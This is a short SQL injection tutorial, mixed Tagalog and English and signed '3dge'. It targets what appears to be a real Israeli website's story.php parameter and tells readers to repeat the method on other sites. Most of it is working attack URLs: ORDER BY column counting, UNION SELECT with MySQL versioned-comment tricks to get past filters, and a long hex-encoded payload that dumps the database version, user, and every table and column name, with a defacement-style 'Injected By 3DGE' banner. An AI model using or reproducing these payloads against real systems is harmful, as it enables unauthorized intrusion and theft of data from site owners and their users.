SQL injection Tutorial

An SQL injection is a computer attack in which malicious code is embedded in a poorly-designed application and then passed to the backend database.
The malicious data then produces database query results or actions that should never have been executed


BASIC SQL INJECTION TUTORIAL

1. Need Target Site

Example:
http://www.tacc.co.il/story.php?id=9

2. Titignan natin kung ilang columns Meron sya

Example:
http://www.tacc.co.il/story.php?id=9 order by 10-- - (error)
http://www.tacc.co.il/story.php?id=9 order by 9-- - (error)
http://www.tacc.co.il/story.php?id=9 order by 8-- - (no error)


so meron syang 8 columns .. ganun din gagawin nyu sa ibang sites..
If Wala paring error pagdating sa highest number kunwari 100 wala paring error add ' sa dulo
then ulitin mo yung pag order sa kanya like this

Example:
http://www.tacc.co.il/story.php?id=9' order by 10-- -
3. Palitan nyu yung order by sa union select at kung hanggang saan sya hindi nag error.
diba 8 columns sya .. Dont forget to add - bago mag number so ganito gagawin mo .

Example:
http://www.tacc.co.il/story.php?id=-9 union select 1,2,3,4,5,6,7,8-- -

May nakita kayung error diba ..? Not Acceptable ..
ganito yan palitan nyo yung union ng ganito /*!50000union*/

Example:
http://www.tacc.co.il/story.php?id=-9 /*!50000union*/ select 1,2,3,4,5,6,7,8-- -

May nakita na kayung number diba? so 2 gagamitin natin .. ayun sa number na lumabas..
tatanggalin nyo yung 2 then palitan nyo sya ng code na to..

concat(0x3c62723e3c62723e3c666f6e7420636f6c6f723d22477265656e222073697 a653 d2236223e3c63656e7465723e494e4a454354454420425920334447453c2f666f6e7 43e3 c63656e7465723e3c62723e3c62723e3c666f6e7420636f6c6f723d426c756520736 97a65 3d363e56657273696f6e20203a2020,version(),0x3c62723e3c62723e2055736572202 03a2020 ,user(),0x3c62723e3c62723e446174614261736520203a2020daabae3c6272 3e3c2 f666f6 e743e3c7461626c6520626f726465723d2235223e3c74686561643e3c74723e3c74 683e4 4617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c7 56d6e 3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select(@x)from(select(@x:=0x00),(select(0)/*!From*/(information_schema.columns)where(table_schema=database()) and(0x0)in(@x:=concat (@x,0x3c62723e,database(),0x20203a3a3a2020,table_name, 0x20203a3a3a2020,column_name))))x))

Example:
http://www.tacc.co.il/story.php?id=-9 /*!50000union*/ select 1,concat(0x3c62723e3c62723e3c666f6e7420636f6c6f723d22477265656e22207369 7a653d2236223e3c6 3656e7465723e494e4a454354454420425920334447453c2f666f6e743e3c63656e746 5723e3c62723e3c 62723e3c666f6e7420636f6c6f723d426c75652073697a653d363e56657273696f6e202 03a2020,version() ,0x3c62723e3c62723e205573657220203a2020 ,user(),0x3c62723e3c62723e446174614261736520203a2020daabae3c62723e3 c2f666f6e 743e3c7461 626c6520626f726465723d2235223e3c74686561643e3c74723e3c74683e44617461 626173653c2f74 683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f746 86561643e3c2f 74723e3c74626f64793e,(select(@x)from(select(@x:=0x00),(select(0)/*!From*/(information_schema.columns)where (table_schema=database())and(0x0)in(@x:=concat (@x,0x3c62723e,database(),0x20203a3a3a2020,table_name, 0x20203a3a3a2020,column_name))))x)) ,3,4,5,6,7,8-- -

Diba nag error?? papalitan nyu yung concat ng ganito /*!50000concat*/ Like This

http://www.tacc.co.il/story.php?id=-9 /*!50000union*/ select 1,/*!50000concat*/(0x3c62723e3c62723e3c666f6e7420636f6c6f723d2247726565 6e222073697a6 53d2236223e3c63656e7465723e494e4a4543544544204259203344 47453c2f666f6e743e3c63656 e7465723e3c62723e3c62723e3c666f6e7420636f6c6f723d426c7 5652073697a653d363e566572 73696f6e20203a2020,version(),0x3c62723e3c62723e205573 657220203a2020 ,user(),0x3c62723e3c62723e446174614261736520203a2020daa bae3c62723e3c2f666 f6e743e3c7461626c6520626f726465723d2235223e3c74686561 643e3c74723e3c7468 3e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c 756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select(@x)from(select(@x:=0x00),(select(0)/*!From*/(information_schema.columns)where(table_schema=database())and (0x0)in(@x:=concat (@x,0x3c62723e,database(),0x20203a3a3a2020,table_name, 0x20203a3a3a2020,column_name))))x)),3,4,5,6,7,8-- -

Edi lumabas Injected By 3DGE .. Yung code na binigay ko sainyu code ko yon .. Para mapalitan nyo yung name need nyu ng hackbar..

dapat yung advance para maka convert kayo into hex code .. sana makatulong :P

-3dge